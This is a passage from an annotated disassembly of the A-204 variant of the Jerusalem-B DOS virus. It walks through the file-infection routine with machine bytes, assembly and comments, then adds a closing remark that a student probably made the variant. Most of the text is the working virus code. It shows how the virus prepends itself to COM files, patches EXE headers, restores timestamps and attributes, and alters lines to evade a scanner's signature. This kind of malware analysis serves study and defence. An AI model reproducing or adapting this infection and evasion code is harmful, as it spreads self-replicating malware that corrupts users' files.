055C CD 21 INT 021 ; Handle in READ/WRITE mode
|
|
|
|
055E 72 24 JB 0584 ; If Error: -> 0584h
|
|
0560 2E A3 70 00 CS MOV W[070],AX ; Store File Handle
|
|
0564 8C C8 MOV AX,CS
|
|
0566 8E D8 MOV DS,AX
|
|
0568 8E C0 MOV ES,AX
|
|
|
|
056A 8B 1E 70 00 MOV BX,W[070] ; BX=File Handle
|
|
056E B8 00 57 MOV AX,05700 ; Get File' date/time-
|
|
0571 CD 21 INT 021 ; stamp
|
|
|
|
0573 89 16 74 00 MOV W[074],DX ; Move File Read/Write Pointer
|
|
0577 89 0E 76 00 MOV W[076],CX ; (LSEEK) with offset from
|
|
057B B8 00 42 MOV AX,04200 ; beginning of file with
|
|
057E 33 C9 XOR CX,CX ; CX:DX bytes
|
|
0580 8B D1 MOV DX,CX ;
|
|
0582 CD 21 INT 021 ;
|
|
|
|
0584 72 3D JB 05C3 ; If Error: -> 05C3h
|
|
0586 80 3E 4E 00 00 CMP B[04E],0 ; '0'?
|
|
058B 74 03 JE 0590 ; Yes: -> 0590h
|
|
058D EB 57 JMP 05E6 ; JUMP -> 05E6h
|
|
|
|
058F 90 NOP
|
|
|
|
0590 BB 00 10 MOV BX,01000 ; Number of 16d-byte para-
|
|
; graphs BX=1000h For COM-
|
|
; files there are 1000h 16d
|
|
; bytes paragrahs available
|
|
0593 B4 48 MOV AH,048 ;
|
|
0595 CD 21 INT 021 ; Allocate Memory
|
|
|
|
0597 73 0B JAE 05A4 ; If enough memory available
|
|
; -> 05A4h
|
|
0599 B4 3E MOV AH,03E ; Close a file with
|
|
059B 8B 1E 70 00 MOV BX,W[070] ; handle BX
|
|
059F CD 21 INT 021 ;
|
|
|
|
05A1 E9 43 01 JMP 06E7 ; JUMP -> 06E7h
|
|
|
|
05A4 FF 06 8F 00 INC W[08F] ; Set Memory-Available
|
|
; Variable (0001h)
|
|
05A8 8E C0 MOV ES,AX ;
|
|
05AA 33 F6 XOR SI,SI ; SI=0000h
|
|
05AC 8B FE MOV DI,SI ; DI=0000h
|
|
05AE B9 10 07 MOV CX,0710 ; CX=0710h (1808d)
|
|
; length of virus
|
|
05B1 F3 A4 REP MOVSB ; Put virus code at begin-
|
|
; ning of buffer ES:DI
|
|
05B3 8B D7 MOV DX,DI ; DX=DI=0710h
|
|
05B5 8B 0E 11 00 MOV CX,W[011] ; Restore Length of File
|
|
05B9 8B 1E 70 00 MOV BX,W[070] ; Restore File Handle
|
|
05BD 06 PUSH ES ; Read from a file with
|
|
05BE 1F POP DS ; handle CX (length
|
|
05BF B4 3F MOV AH,03F ; of file) bytes in buffer
|
|
05C1 CD 21 INT 021 ; DS:DX
|
|
|
|
05C3 72 1C JB 05E1 ; If Error: -> 05E1h
|
|
05C5 03 F9 ADD DI,CX ; DI=Length of original
|
|
; file+0710h (length of
|
|
; viruscode)+05h
|
|
05C7 33 C9 XOR CX,CX ; CX=0000h
|
|
05C9 8B D1 MOV DX,CX ; Move file read/write
|
|
05CB B8 00 42 MOV AX,04200 ; pointer with offset from
|
|
05CE CD 21 INT 021 ; beginning of file
|
|
|
|
05D0 BE 05 00 MOV SI,5 ;
|
|
05D3 B9 05 00 MOV CX,5 ;
|
|
05D6 F3 2E A4 REP CS MOVSB ;
|
|
05D9 8B CF MOV CX,DI ; CX=0715h(1813d)+length of
|
|
; original code
|
|
05DB 33 D2 XOR DX,DX ; DX=0000h
|
|
05DD B4 40 MOV AH,040 ; Write to file with handle
|
|
05DF CD 21 INT 021 ; CX bytes
|
|
|
|
05E1 72 0D JB 05F0 ; If Error: -> 05F0h
|
|
05E3 E9 BC 00 JMP 06A2 ; JUMP -> 06A2h
|
|
|
|
05E6 B9 1C 00 MOV CX,01C ; Read CX (1Ch) bytes from
|
|
05E9 BA 4F 00 MOV DX,04F ; file with handle
|
|
05EC B4 3F MOV AH,03F ;
|
|
05EE CD 21 INT 021 ;
|
|
|
|
05F0 72 4A JB 063C ; If Error: -> 063Ch
|
|
05F2 C7 06 61 00 84 19 MOV W[061],01984 ; Store 1984h=6532d
|
|
05F8 A1 5D 00 MOV AX,W[05D] ;
|
|
05FB A3 45 00 MOV W[045],AX ;
|
|
05FE A1 5F 00 MOV AX,W[05F] ;
|
|
0601 A3 43 00 MOV W[043],AX ;
|
|
0604 A1 63 00 MOV AX,W[063] ;
|
|
0607 A3 47 00 MOV W[047],AX ;
|
|
060A A1 65 00 MOV AX,W[065] ;
|
|
060D A3 49 00 MOV W[049],AX ;
|
|
0610 A1 53 00 MOV AX,W[053] ;
|
|
0613 83 3E 51 00 00 CMP W[051],0 ; '0000'?
|
|
0618 74 01 JE 061B ; Yes: -> 061Bh
|
|
061A 48 DEC AX ; AX=AX-01h
|
|
061B F7 26 78 00 MUL W[078] ;
|
|
061F 03 06 51 00 ADD AX,W[051] ;
|
|
0623 83 D2 00 ADC DX,0 ;
|
|
0626 05 0F 00 ADD AX,0F ;
|
|
0629 83 D2 00 ADC DX,0 ;
|
|
062C 25 F0 FF AND AX,-010 ;
|
|
062F A3 7C 00 MOV W[07C],AX ; Store AX
|
|
0632 89 16 7E 00 MOV W[07E],DX ; Store DX
|
|
0636 05 10 07 ADD AX,0710 ; AX=AX+1808
|
|
0639 83 D2 00 ADC DX,0 ;
|
|
063C 72 3A JB 0678 ; If Error :-> 0678h
|
|
063E F7 36 78 00 DIV W[078] ;
|
|
0642 0B D2 OR DX,DX ;
|
|
0644 74 01 JE 0647 ;
|
|
0646 40 INC AX ; AX=AX+01h
|
|
0647 A3 53 00 MOV W[053],AX ;
|
|
064A 89 16 51 00 MOV W[051],DX ;
|
|
064E A1 7C 00 MOV AX,W[07C] ; Restore AX
|
|
0651 8B 16 7E 00 MOV DX,W[07E] ; Restore DX
|
|
0655 F7 36 7A 00 DIV W[07A] ;
|
|
0659 2B 06 57 00 SUB AX,W[057] ;
|
|
065D A3 65 00 MOV W[065],AX ;
|
|
0660 C7 06 63 00 C5 00 MOV W[063],0C5 ;
|
|
0666 A3 5D 00 MOV W[05D],AX ;
|
|
0669 C7 06 5F 00 10 07 MOV W[05F],0710 ;
|
|
066F 33 C9 XOR CX,CX ; CX=0000h
|
|
0671 8B D1 MOV DX,CX ; DX=0000h
|
|
0673 B8 00 42 MOV AX,04200 ; Move File Read/Write
|
|
0676 CD 21 INT 021 ; pointer to beginning of
|
|
; file
|
|
|
|
0678 72 0A JB 0684 ; If Error: -> 0684h
|
|
067A B9 1C 00 MOV CX,01C ; CX=1Ch
|
|
067D BA 4F 00 MOV DX,04F ; DX=4Fh
|
|
0680 B4 40 MOV AH,040 ; Write to file with
|
|
0682 CD 21 INT 021 ; handle
|
|
|
|
0684 72 11 JB 0697 ; If Error: -> 0697h
|
|
0686 3B C1 CMP AX,CX ; Are all bytes written?
|
|
0688 75 18 JNE 06A2 ; No: -> 06A2h
|
|
068A 8B 16 7C 00 MOV DX,W[07C] ; Restore AX into DX
|
|
068E 8B 0E 7E 00 MOV CX,W[07E] ; Restore DX into CX
|
|
0692 B8 00 42 MOV AX,04200
|
|
0695 CD 21 INT 021
|
|
|
|
0697 72 09 JB 06A2 ; If Error: -> 06A2h
|
|
0699 33 D2 XOR DX,DX ; DX=0000h
|
|
069B B9 10 07 MOV CX,0710 ; CX=0710h
|
|
069E B4 40 MOV AH,040
|
|
06A0 CD 21 INT 021
|
|
|
|
06A2 2E 83 3E 8F 00 00 CS CMP W[08F],0 ; Not Enough Memory?
|
|
06A8 74 04 JE 06AE ; Yes: -> 06AEh
|
|
06AA B4 49 MOV AH,049 ; Free memory
|
|
06AC CD 21 INT 021 ;
|
|
|
|
06AE 2E 83 3E 70 00 FF CS CMP W[070],-1
|
|
06B4 74 31 JE 06E7
|
|
06B6 2E 8B 1E 70 00 CS MOV BX,W[070] ; Restore File Handle
|
|
06BB 2E 8B 16 74 00 CS MOV DX,W[074] ; Restore File Date
|
|
06C0 2E 8B 0E 76 00 CS MOV CX,W[076] ; Restore File Time
|
|
06C5 B8 01 57 MOV AX,05701 ; Set File's Date/Time
|
|
06C8 CD 21 INT 021 ; stamp
|
|
|
|
06CA B4 3E MOV AH,03E ; Close a file with
|
|
06CC CD 21 INT 021 ; handle
|
|
|
|
06CE 2E C5 16 80 00 CS LDS DX,[080] ; Get place (DS:DX) of
|
|
; filename
|
|
06D3 2E 8B 0E 72 00 CS MOV CX,W[072] ; Restore File Attributes
|
|
06D8 B8 01 43 MOV AX,04301 ; Put File Attributes
|
|
06DB CD 21 INT 021 ;
|
|
|
|
06DD 2E C5 16 1B 00 CS LDS DX,[01B] ; Restore original vector
|
|
06E2 B8 24 25 MOV AX,02524 ; of interrupt 24h
|
|
06E5 CD 21 INT 021 ;
|
|
|
|
06E7 07 POP ES ; Restore Registers
|
|
06E8 1F POP DS
|
|
06E9 5F POP DI
|
|
06EA 5E POP SI
|
|
06EB 5A POP DX
|
|
06EC 59 POP CX
|
|
06ED 5B POP BX
|
|
06EE 58 POP AX
|
|
06EF 9D POPF ; Restore Flags
|
|
06F0 2E FF 2E 17 00 CS JMP D[017] ; Call original INT 21h
|
|
; address which was intercep-
|
|
; ted with the LOAD & EXEC.
|
|
; statement. Which means it
|
|
; will load and execute the
|
|
; selected file
|
|
|
|
06F5 00 00 00 00 00 00 00 00 00 00 00
|
|
|
|
0700 4D DE 0C 00 10 00 00 00 00 00 00 00 00 00 00 00
|
|
|
|
0710 E9 92 00 JMP 07A5 ; JUMP -> 07A5h
|
|
|
|
0711h til 07A4h are the same definition words/bytes as at 0103h til 0194h
|
|
|
|
07A5 FC CLD
|
|
07A6 B4 E0 MOV AH,0E0
|
|
07A8 CD 21 INT 021
|
|
|
|
07AA 80 FC E0 CMP AH,0E0 ; AH>=E0h?
|
|
07AD 73 16 JAE 07C5 ; Yes: -> 07C5h
|
|
07AF 80 FC 03 CMP AH,3 ; AH<03h
|
|
07B2 72 11 JB 07C5 ; Yes: -> 07C5h
|
|
; The only way that the
|
|
; code get passed here if
|
|
; the virus is active in
|
|
; memory. It will return
|
|
; AX=0300h then.
|
|
07B4 B4 DD MOV AH,0DD
|
|
07B6 BF 00 01 MOV DI,0100 ; DI=0100h
|
|
07B9 BE 10 07 MOV SI,0710 ; SI=0710h
|
|
07BC 03 F7 ADD SI,DI ; SI=0810h
|
|
07BE 2E 8B 8D 11 00 CS MOV CX,W[DI+011]; CX=Length of file
|
|
07C3 CD 21 INT 021
|
|
|
|
07C5 8C C8 MOV AX,CS ; AX=CS
|
|
07C7 05 10 00 ADD AX,010 ; AX=AX+10h
|
|
07CA 8E D0 MOV SS,AX ; SS=CS+10h
|
|
07CC BC 00 07 MOV SP,0700 ; SP=0700h
|
|
07CF 50 PUSH AX ; Store AX
|
|
07D0 B8 C5 00 MOV AX,0C5 ; AX=00C5h
|
|
07D3 50 PUSH AX ; Store AX
|
|
07D4 CB RETF ; RETURN from FAR
|
|
|
|
07D5 FC CLD ; Clear Direct
|
|
|
|
; Here the A-204 variant
|
|
; differs from the original
|
|
; Jerusalem Version B virus
|
|
; for the second time.
|
|
07D6 2E 8C 06 31 00 CS MOV W[031],ES ; These two lines have
|
|
07DB 06 PUSH ES ; been changed in order
|
|
; trying to avoid being
|
|
; detected by the finger-
|
|
; print in the VirScan.Dat
|
|
; file. It has not succeeded
|
|
; because the strain VirScan
|
|
; searches for appears two
|
|
; times in the viruscode
|
|
|
|
07DC 2E 8C 06 39 00 CS MOV W[039],ES ; Store ES
|
|
07E1 2E 8C 06 3D 00 CS MOV W[03D],ES ; Store ES
|
|
07E6 2E 8C 06 41 00 CS MOV W[041],ES ; Store ES
|
|
|
|
07EB 8C C0 MOV AX,ES ; AX=ES
|
|
07ED 05 10 00 ADD AX,010 ; AX=AX+10h
|
|
07F0 2E 01 06 49 00 CS ADD W[049],AX ; Store ES+10h
|
|
07F5 2E 01 06 45 00 CS ADD W[045],AX ; Store ES+10h
|
|
|
|
07FA B4 E0 MOV AH,0E0 ; AH=E0h
|
|
07FC CD 21 INT 021 ;
|
|
|
|
07FE 80 FC E0 CMP AH,0E0 ; AH>=E0?
|
|
0801 73 13 JAE 0816 ; Yes: -> 0816h
|
|
; This will never happen.
|
|
; First of all it would be
|
|
; a short jump into the
|
|
; original program. Secondly
|
|
; is the virus already active
|
|
; in memory and will return
|
|
; AX=0300h at the INT 21h call
|
|
; with AH=E0h
|
|
0803 80 FC 03 CMP AH,3 ; AH=03h
|
|
0806 07 POP ES ; Restore ES
|
|
0807 2E 8E 16 45 00 CS MOV SS,W[045] ; Restore ES+10 into SS
|
|
080C 2E 8B 26 43 90 CS MOV SP,W[09043] ;
|
|
|
|
0810 90 NOP ; Start ofOriginal Program
|
|
0811 90 NOP
|
|
0812 90 NOP
|
|
0813 90 NOP
|
|
0814 90 NOP
|
|
0815 90 NOP
|
|
0816 90 NOP
|
|
0817 90 NOP
|
|
0818 90 NOP
|
|
0819 90 NOP
|
|
081A 90 NOP
|
|
081B 90 NOP
|
|
081C 90 NOP
|
|
081D 90 NOP
|
|
081E 90 NOP
|
|
081F 90 NOP
|
|
0820 90 NOP
|
|
0821 90 NOP
|
|
0822 90 NOP
|
|
0823 90 NOP
|
|
0824 90 NOP
|
|
0825 90 NOP
|
|
0826 90 NOP
|
|
0827 90 NOP
|
|
0828 90 NOP
|
|
0829 90 NOP
|
|
082A 90 NOP
|
|
082B 90 NOP
|
|
082C 90 NOP
|
|
082D 90 NOP
|
|
082E 90 NOP
|
|
082F C3 RET ; End of Original Program
|
|
|
|
0830 2D 32 30 34 2A ; -204*
|
|
|
|
NOTE: A-204 is a course-code for IAP (Inleiding Apparatuur en Programmatuur,
|
|
in English a Prologue in Hardware and Software) at my university. In this
|
|
course the PDP-11 Language is being teached. It's my opion, and my opion only,
|
|
that this change has been made by a first year student. The IAP-course is
|
|
a course for first years students. Only some lines were changed in order to
|
|
avoid detection. If the 'author' did know more about the 8086, (s?)he could
|
|
have optimized the code. Some pieces can be done much more elegant. |